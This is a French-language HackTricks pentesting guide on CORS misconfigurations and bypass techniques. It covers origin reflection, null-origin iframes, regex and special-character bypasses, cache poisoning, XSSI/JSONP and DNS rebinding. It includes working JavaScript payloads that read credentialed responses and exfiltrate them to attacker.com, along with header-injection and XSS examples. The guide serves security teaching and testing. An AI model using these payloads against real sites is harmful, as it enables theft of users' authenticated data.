CORS - Mauvaises configurations & Contournement

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Qu’est-ce que CORS ?

Le partage de ressources entre origines croisées (CORS) standard permet aux serveurs de définir qui peut accéder à leurs ressources et quelles méthodes de requête HTTP sont autorisées depuis des sources externes.

Une politique de même origine exige qu’un serveur demandant une ressource et le serveur hébergeant la ressource partagent le même protocole (par exemple, http://), nom de domaine (par exemple, internal-web.com), et port (par exemple, 80). Selon cette politique, seules les pages web du même domaine et port sont autorisées à accéder aux ressources.

L’application de la politique de même origine dans le contexte de http://normal-website.com/example/example.html est illustrée comme suit :

URL accédéeAccès autorisé ?
http://normal-website.com/example/Oui : Schéma, domaine et port identiques
http://normal-website.com/example2/Oui : Schéma, domaine et port identiques
https://normal-website.com/example/Non : Schéma et port différents
http://en.normal-website.com/example/Non : Domaine différent
http://www.normal-website.com/example/Non : Domaine différent
http://normal-website.com:8080/example/Non : Port différent*

*Internet Explorer ignore le numéro de port dans l’application de la politique de même origine, permettant ainsi cet accès.

En-tête Access-Control-Allow-Origin

Cet en-tête peut autoriser plusieurs origines, une valeur null, ou un caractère générique *. Cependant, aucun navigateur ne prend en charge plusieurs origines, et l’utilisation du caractère générique * est soumise à des limitations. (Le caractère générique doit être utilisé seul, et son utilisation avec Access-Control-Allow-Credentials: true n’est pas autorisée.)

Cet en-tête est émis par un serveur en réponse à une demande de ressource inter-domaines initiée par un site web, le navigateur ajoutant automatiquement un en-tête Origin.

En-tête Access-Control-Allow-Credentials

Par défaut, les requêtes inter-origines sont effectuées sans identifiants tels que des cookies ou l’en-tête d’autorisation. Pourtant, un serveur inter-domaines peut autoriser la lecture de la réponse lorsque des identifiants sont envoyés en définissant l’en-tête Access-Control-Allow-Credentials sur true.

S’il est défini sur true, le navigateur transmettra des identifiants (cookies, en-têtes d’autorisation ou certificats clients TLS).

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)

fetch(url, {
credentials: "include",
})

const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF Pre-flight request

Comprendre les requêtes préalables dans la communication inter-domaines

Lors de l’initiation d’une requête inter-domaines dans des conditions spécifiques, telles que l’utilisation d’une méthode HTTP non standard (tout sauf HEAD, GET, POST), l’introduction de nouveaux en-têtes, ou l’emploi d’une valeur spéciale pour l’en-tête Content-Type, une requête préalable peut être nécessaire. Cette requête préliminaire, utilisant la méthode OPTIONS, sert à informer le serveur des intentions de la requête inter-origine à venir, y compris les méthodes HTTP et les en-têtes qu’elle prévoit d’utiliser.

Le protocole Cross-Origin Resource Sharing (CORS) impose cette vérification préalable pour déterminer la faisabilité de l’opération inter-origine demandée en vérifiant les méthodes, les en-têtes autorisés et la fiabilité de l’origine. Pour une compréhension détaillée des conditions qui contournent la nécessité d’une requête préalable, consultez le guide complet fourni par Mozilla Developer Network (MDN).

Il est crucial de noter que l’absence d’une requête préalable ne supprime pas l’exigence que la réponse contienne des en-têtes d’autorisation. Sans ces en-têtes, le navigateur est incapable de traiter la réponse de la requête inter-origine.

Considérez l’illustration suivante d’une requête préalable visant à utiliser la méthode PUT avec un en-tête personnalisé nommé Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

En réponse, le serveur peut renvoyer des en-têtes indiquant les méthodes acceptées, l’origine autorisée et d’autres détails de la politique CORS, comme indiqué ci-dessous :

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers : Cet en-tête spécifie quels en-têtes peuvent être utilisés lors de la requête réelle. Il est défini par le serveur pour indiquer les en-têtes autorisés dans les requêtes du client.
  • Access-Control-Expose-Headers : Grâce à cet en-tête, le serveur informe le client des en-têtes qui peuvent être exposés dans la réponse en plus des en-têtes de réponse simples.
  • Access-Control-Max-Age : Cet en-tête indique combien de temps les résultats d’une requête préliminaire peuvent être mis en cache. Le serveur définit le temps maximum, en secondes, pendant lequel les informations renvoyées par une requête préliminaire peuvent être réutilisées.
  • Access-Control-Request-Headers : Utilisé dans les requêtes préliminaires, cet en-tête est défini par le client pour informer le serveur des en-têtes HTTP que le client souhaite utiliser dans la requête réelle.
  • Access-Control-Request-Method : Cet en-tête, également utilisé dans les requêtes préliminaires, est défini par le client pour indiquer quelle méthode HTTP sera utilisée dans la requête réelle.
  • Origin : Cet en-tête est automatiquement défini par le navigateur et indique l’origine de la requête inter-origine. Il est utilisé par le serveur pour évaluer si la requête entrante doit être autorisée ou refusée en fonction de la politique CORS.

Notez qu’en général (selon le type de contenu et les en-têtes définis) dans une requête GET/POST, aucune requête préliminaire n’est envoyée (la requête est envoyée directement), mais si vous souhaitez accéder aux en-têtes/corps de la réponse, cela doit contenir un en-tête Access-Control-Allow-Origin l’autorisant.
Par conséquent, CORS ne protège pas contre CSRF (mais cela peut être utile).

Requêtes de réseau local Requête préliminaire

  1. Access-Control-Request-Local-Network : Cet en-tête est inclus dans la requête du client pour signifier que l’enquête vise une ressource de réseau local. Il sert de marqueur pour informer le serveur que la requête provient du réseau local.
  2. Access-Control-Allow-Local-Network : En réponse, les serveurs utilisent cet en-tête pour communiquer que la ressource demandée est autorisée à être partagée avec des entités en dehors du réseau local. Il agit comme un feu vert pour le partage de ressources à travers différentes frontières de réseau, garantissant un accès contrôlé tout en maintenant des protocoles de sécurité.

Une réponse valide autorisant la requête de réseau local doit également contenir dans la réponse l’en-tête Access-Controls-Allow-Local_network: true :

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

Warning

Notez que l’IP linux 0.0.0.0 fonctionne pour bypasser ces exigences pour accéder à localhost car cette adresse IP n’est pas considérée comme “locale”.

Il est également possible de bypasser les exigences du réseau local si vous utilisez l’adresse IP publique d’un point de terminaison local (comme l’IP publique du routeur). Car dans plusieurs cas, même si l’IP publique est accessible, si c’est du réseau local, l’accès sera accordé.

Wildcards

Notez que même si la configuration suivante peut sembler très permissive :

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Ce n’est pas autorisé par les navigateurs et donc les identifiants ne seront pas envoyés avec la demande autorisée par cela.

Mauvaises configurations exploitables

Il a été observé que le paramètre de Access-Control-Allow-Credentials à true est un prérequis pour la plupart des vrais attaques. Ce paramètre permet au navigateur d’envoyer des identifiants et de lire la réponse, augmentant l’efficacité de l’attaque. Sans cela, l’avantage de faire émettre une demande par un navigateur plutôt que de le faire soi-même diminue, car tirer parti des cookies d’un utilisateur devient irréalisable.

Exception : Exploiter la localisation réseau comme authentification

Une exception existe où la localisation réseau de la victime agit comme une forme d’authentification. Cela permet d’utiliser le navigateur de la victime comme un proxy, contournant l’authentification basée sur l’IP pour accéder aux applications intranet. Cette méthode partage des similitudes d’impact avec le DNS rebinding mais est plus simple à exploiter.

Réflexion de Origin dans Access-Control-Allow-Origin

Le scénario du monde réel où la valeur de l’en-tête Origin est réfléchie dans Access-Control-Allow-Origin est théoriquement improbable en raison des restrictions sur la combinaison de ces en-têtes. Cependant, les développeurs cherchant à activer CORS pour plusieurs URL peuvent générer dynamiquement l’en-tête Access-Control-Allow-Origin en copiant la valeur de l’en-tête Origin. Cette approche peut introduire des vulnérabilités, en particulier lorsqu’un attaquant utilise un domaine avec un nom conçu pour sembler légitime, trompant ainsi la logique de validation.

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

Exploiter l’origine null

L’origine null, spécifiée pour des situations comme les redirections ou les fichiers HTML locaux, occupe une position unique. Certaines applications ajoutent cette origine à la liste blanche pour faciliter le développement local, permettant involontairement à n’importe quel site web de mimer une origine null via une iframe sandboxée, contournant ainsi les restrictions CORS.

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Techniques de contournement par expression régulière

Lorsqu’on rencontre une liste blanche de domaines, il est crucial de tester les opportunités de contournement, comme l’ajout du domaine de l’attaquant à un domaine sur liste blanche ou l’exploitation des vulnérabilités de prise de contrôle de sous-domaines. De plus, les expressions régulières utilisées pour la validation des domaines peuvent négliger des nuances dans les conventions de nommage des domaines, présentant ainsi d’autres opportunités de contournement.

Contournements avancés par expression régulière

Les motifs Regex se concentrent généralement sur les caractères alphanumériques, le point (.) et le tiret (-), négligeant d’autres possibilités. Par exemple, un nom de domaine conçu pour inclure des caractères interprétés différemment par les navigateurs et les motifs regex peut contourner les vérifications de sécurité. La gestion des caractères de soulignement dans les sous-domaines par Safari, Chrome et Firefox illustre comment de telles divergences peuvent être exploitées pour contourner la logique de validation des domaines.

Pour plus d’informations et les paramètres de ce contrôle de contournement : https://www.corben.io/advanced-cors-techniques/ et https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

Depuis XSS à l’intérieur d’un sous-domaine

Les développeurs mettent souvent en œuvre des mécanismes de défense pour se protéger contre l’exploitation CORS en ajoutant des domaines autorisés à demander des informations. Malgré ces précautions, la sécurité du système n’est pas infaillible. La présence même d’un seul sous-domaine vulnérable parmi les domaines sur liste blanche peut ouvrir la porte à l’exploitation CORS par d’autres vulnérabilités, telles que XSS (Cross-Site Scripting).

Pour illustrer, considérons le scénario où un domaine, requester.com, est sur liste blanche pour accéder aux ressources d’un autre domaine, provider.com. La configuration côté serveur pourrait ressembler à ceci :

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

Dans cette configuration, tous les sous-domaines de requester.com sont autorisés à accéder. Cependant, si un sous-domaine, disons sub.requester.com, est compromis par une vulnérabilité XSS, un attaquant peut exploiter cette faiblesse. Par exemple, un attaquant ayant accès à sub.requester.com pourrait exploiter la vulnérabilité XSS pour contourner les politiques CORS et accéder de manière malveillante aux ressources sur provider.com.

Caractères spéciaux

La feuille de triche pour contourner la validation d’URL de PortSwigger a révélé que certains navigateurs prennent en charge des caractères étranges dans les noms de domaine.

Chrome et Firefox prennent en charge les traits de soulignement _ qui peuvent contourner les regex mises en œuvre pour valider l’en-tête Origin :

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com

HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari est encore plus laxiste en acceptant des caractères spéciaux dans le nom de domaine :

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com

HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

Autres astuces d’URL amusantes

URL Format Bypass

Empoisonnement du cache côté serveur

D’après cette recherche

Il est possible qu’en exploitant l’empoisonnement du cache côté serveur par injection d’en-tête HTTP, une vulnérabilité XSS (Cross-Site Scripting) stockée puisse être induite. Ce scénario se produit lorsqu’une application ne parvient pas à assainir l’en-tête Origin pour des caractères illégaux, créant une vulnérabilité particulièrement pour les utilisateurs d’Internet Explorer et d’Edge. Ces navigateurs traitent (0x0d) comme un terminateur d’en-tête HTTP légitime, entraînant des vulnérabilités d’injection d’en-tête HTTP.

Considérez la requête suivante où l’en-tête Origin est manipulé :

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer et Edge interprètent la réponse comme :

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Bien que l’exploitation directe de cette vulnérabilité en faisant envoyer un en-tête malformé par un navigateur web ne soit pas réalisable, une requête élaborée peut être générée manuellement à l’aide d’outils comme Burp Suite. Cette méthode pourrait conduire à un cache côté serveur enregistrant la réponse et la servant involontairement à d’autres. Le payload conçu vise à modifier l’ensemble de caractères de la page en UTF-7, un encodage de caractères souvent associé aux vulnérabilités XSS en raison de sa capacité à encoder des caractères d’une manière qui peut être exécutée comme un script dans certains contextes.

Pour en savoir plus sur les vulnérabilités XSS stockées, consultez PortSwigger.

Remarque : L’exploitation des vulnérabilités d’injection d’en-têtes HTTP, en particulier par le biais du poisoning de cache côté serveur, souligne l’importance critique de valider et de nettoyer toutes les entrées fournies par l’utilisateur, y compris les en-têtes HTTP. Employez toujours un modèle de sécurité robuste qui inclut la validation des entrées pour prévenir de telles vulnérabilités.

Poisoning de cache côté client

À partir de cette recherche

Dans ce scénario, une instance d’une page web reflétant le contenu d’un en-tête HTTP personnalisé sans encodage approprié est observée. Plus précisément, la page web renvoie le contenu inclus dans un en-tête X-User-id, qui pourrait inclure du JavaScript malveillant, comme le démontre l’exemple où l’en-tête contient une balise d’image SVG conçue pour exécuter du code JavaScript au chargement.

Les politiques de Cross-Origin Resource Sharing (CORS) permettent l’envoi d’en-têtes personnalisés. Cependant, sans que la réponse soit directement rendue par le navigateur en raison des restrictions CORS, l’utilité d’une telle injection pourrait sembler limitée. Le point critique se pose lorsque l’on considère le comportement de cache du navigateur. Si l’en-tête Vary: Origin n’est pas spécifié, il devient possible que la réponse malveillante soit mise en cache par le navigateur. Par la suite, cette réponse mise en cache pourrait être rendue directement lors de la navigation vers l’URL, contournant ainsi la nécessité d’un rendu direct lors de la requête initiale. Ce mécanisme améliore la fiabilité de l’attaque en tirant parti du cache côté client.

Pour illustrer cette attaque, un exemple de JavaScript est fourni, conçu pour être exécuté dans l’environnement d’une page web, comme à travers un JSFiddle. Ce script effectue une action simple : il envoie une requête à une URL spécifiée avec un en-tête personnalisé contenant le JavaScript malveillant. Une fois la requête réussie, il tente de naviguer vers l’URL cible, déclenchant potentiellement l’exécution du script injecté si la réponse a été mise en cache sans un traitement approprié de l’en-tête Vary: Origin.

Voici un résumé du JavaScript utilisé pour exécuter cette attaque :

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, également connu sous le nom de Cross-Site Script Inclusion, est un type de vulnérabilité qui tire parti du fait que la Same Origin Policy (SOP) ne s’applique pas lors de l’inclusion de ressources à l’aide de la balise script. Cela est dû au fait que les scripts doivent pouvoir être inclus depuis différents domaines. Cette vulnérabilité permet à un attaquant d’accéder et de lire tout contenu qui a été inclus à l’aide de la balise script.

Cette vulnérabilité devient particulièrement significative lorsqu’il s’agit de JavaScript dynamique ou de JSONP (JSON avec Padding), surtout lorsque des informations d’autorité ambiante comme les cookies sont utilisées pour l’authentification. Lors de la demande d’une ressource depuis un hôte différent, les cookies sont inclus, les rendant accessibles à l’attaquant.

Pour mieux comprendre et atténuer cette vulnérabilité, vous pouvez utiliser le plugin BurpSuite disponible à https://github.com/kapytein/jsonp. Ce plugin peut aider à identifier et à traiter les vulnérabilités XSSI potentielles dans vos applications web.

Lisez-en plus sur les différents types de XSSI et comment les exploiter ici.

Essayez d’ajouter un callback paramètre dans la demande. Peut-être que la page a été préparée pour envoyer les données sous forme de JSONP. Dans ce cas, la page renverra les données avec Content-Type: application/javascript, ce qui contournera la politique CORS.

Bypass facile (inutile ?)

Une façon de contourner la restriction Access-Control-Allow-Origin est de demander à une application web de faire une demande en votre nom et de renvoyer la réponse. Cependant, dans ce scénario, les identifiants de la victime finale ne seront pas envoyés car la demande est faite à un domaine différent.

  1. CORS-escape : Cet outil fournit un proxy qui transmet votre demande avec ses en-têtes, tout en usurpant l’en-tête Origin pour correspondre au domaine demandé. Cela contourne effectivement la politique CORS. Voici un exemple d’utilisation avec XMLHttpRequest :
  2. simple-cors-escape : Cet outil offre une approche alternative pour le proxy des demandes. Au lieu de transmettre votre demande telle quelle, le serveur effectue sa propre demande avec les paramètres spécifiés.

Bypass Iframe + Popup

Vous pouvez contourner les vérifications CORS telles que e.origin === window.origin en créant un iframe et en ouvrant une nouvelle fenêtre depuis celui-ci. Plus d’informations sur la page suivante :

Iframes in XSS, CSP and SOP

Rebinding DNS via TTL

Le rebinding DNS via TTL est une technique utilisée pour contourner certaines mesures de sécurité en manipulant les enregistrements DNS. Voici comment cela fonctionne :

  1. L’attaquant crée une page web et fait accéder la victime à celle-ci.
  2. L’attaquant change ensuite le DNS (IP) de son propre domaine pour pointer vers la page web de la victime.
  3. Le navigateur de la victime met en cache la réponse DNS, qui peut avoir une valeur TTL (Time to Live) indiquant combien de temps l’enregistrement DNS doit être considéré comme valide.
  4. Lorsque le TTL expire, le navigateur de la victime effectue une nouvelle demande DNS, permettant à l’attaquant d’exécuter du code JavaScript sur la page de la victime.
  5. En maintenant le contrôle sur l’IP de la victime, l’attaquant peut recueillir des informations de la victime sans envoyer de cookies au serveur de la victime.

Il est important de noter que les navigateurs ont des mécanismes de mise en cache qui peuvent empêcher l’abus immédiat de cette technique, même avec de faibles valeurs TTL.

Le rebinding DNS peut être utile pour contourner les vérifications IP explicites effectuées par la victime ou pour des scénarios où un utilisateur ou un bot reste sur la même page pendant une période prolongée, permettant à la mise en cache d’expirer.

Si vous avez besoin d’un moyen rapide d’abuser du rebinding DNS, vous pouvez utiliser des services comme https://lock.cmpxchg8b.com/rebinder.html.

Pour exécuter votre propre serveur de rebinding DNS, vous pouvez utiliser des outils comme DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Cela implique d’exposer votre port local 53/udp, de créer un enregistrement A pointant vers celui-ci (par exemple, ns.example.com), et de créer un enregistrement NS pointant vers le sous-domaine A précédemment créé (par exemple, ns.example.com). Tout sous-domaine du sous-domaine ns.example.com sera alors résolu par votre hôte.

Vous pouvez également explorer un serveur en cours d’exécution publiquement à http://rebind.it/singularity.html pour une meilleure compréhension et expérimentation.

Rebinding DNS via DNS Cache Flooding

Le rebinding DNS via le flooding du cache DNS est une autre technique utilisée pour contourner le mécanisme de mise en cache des navigateurs et forcer une seconde demande DNS. Voici comment cela fonctionne :

  1. Initialement, lorsque la victime effectue une demande DNS, elle reçoit l’adresse IP de l’attaquant.
  2. Pour contourner la défense de mise en cache, l’attaquant utilise un service worker. Le service worker inonde le cache DNS, ce qui supprime effectivement le nom du serveur de l’attaquant mis en cache.
  3. Lorsque le navigateur de la victime effectue une seconde demande DNS, il reçoit maintenant l’adresse IP 127.0.0.1, qui fait généralement référence à localhost.

En inondant le cache DNS avec le service worker, l’attaquant peut manipuler le processus de résolution DNS et forcer le navigateur de la victime à effectuer une seconde demande, cette fois-ci résolvant à l’adresse IP souhaitée par l’attaquant.

Rebinding DNS via Cache

Une autre façon de contourner la défense de mise en cache est d’utiliser plusieurs adresses IP pour le même sous-domaine dans le fournisseur DNS. Voici comment cela fonctionne :

  1. L’attaquant configure deux enregistrements A (ou un seul enregistrement A avec deux IP) pour le même sous-domaine dans le fournisseur DNS.
  2. Lorsque le navigateur vérifie ces enregistrements, il reçoit les deux adresses IP.
  3. Si le navigateur décide d’utiliser d’abord l’adresse IP de l’attaquant, l’attaquant peut servir une charge utile qui effectue des requêtes HTTP vers le même domaine.
  4. Cependant, une fois que l’attaquant obtient l’adresse IP de la victime, il cesse de répondre au navigateur de la victime.
  5. Le navigateur de la victime, réalisant que le domaine ne répond pas, passe à utiliser la seconde adresse IP donnée.
  6. En accédant à la seconde adresse IP, le navigateur contourne la Same Origin Policy (SOP), permettant à l’attaquant d’abuser de cela et de recueillir et d’exfiltrer des informations.

Cette technique exploite le comportement des navigateurs lorsque plusieurs adresses IP sont fournies pour un domaine. En contrôlant stratégiquement les réponses et en manipulant le choix de l’adresse IP par le navigateur, un attaquant peut exploiter la SOP et accéder aux informations de la victime.

Warning

Notez que pour accéder à localhost, vous devriez essayer de rebind 127.0.0.1 sous Windows et 0.0.0.0 sous Linux.
Des fournisseurs tels que godaddy ou cloudflare ne m’ont pas permis d’utiliser l’IP 0.0.0.0, mais AWS route53 m’a permis de créer un enregistrement A avec 2 IP, l’une d’elles étant “0.0.0.0”

Pour plus d’infos, vous pouvez consulter https://unit42.paloaltonetworks.com/dns-rebinding/

Autres contournements courants

  • Si les IP internes ne sont pas autorisées, ils pourraient oublier d’interdire 0.0.0.0 (fonctionne sous Linux et Mac)
  • Si les IP internes ne sont pas autorisées, répondez avec un CNAME vers localhost (fonctionne sous Linux et Mac)
  • Si les IP internes ne sont pas autorisées en tant que réponses DNS, vous pouvez répondre avec des CNAMEs vers des services internes tels que www.corporate.internal.

Rebinding DNS armé

Vous pouvez trouver plus d’informations sur les techniques de contournement précédentes et comment utiliser l’outil suivant dans la présentation Gerald Doussot - État des attaques de rebinding DNS & Singularité de l’origine - Conférence DEF CON 27.

Singularity of Origin est un outil pour effectuer des attaques de rebinding DNS. Il comprend les composants nécessaires pour rebind l’adresse IP du nom DNS du serveur d’attaque à l’adresse IP de la machine cible et pour servir des charges utiles d’attaque afin d’exploiter des logiciels vulnérables sur la machine cible.

Réelle protection contre le rebinding DNS

  • Utilisez TLS dans les services internes
  • Demandez une authentification pour accéder aux données
  • Validez l’en-tête Host
  • https://wicg.github.io/private-network-access/ : Proposition d’envoyer toujours une demande préliminaire lorsque des serveurs publics souhaitent accéder à des serveurs internes

Outils

Fuzz des configurations incorrectes possibles dans les politiques CORS

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks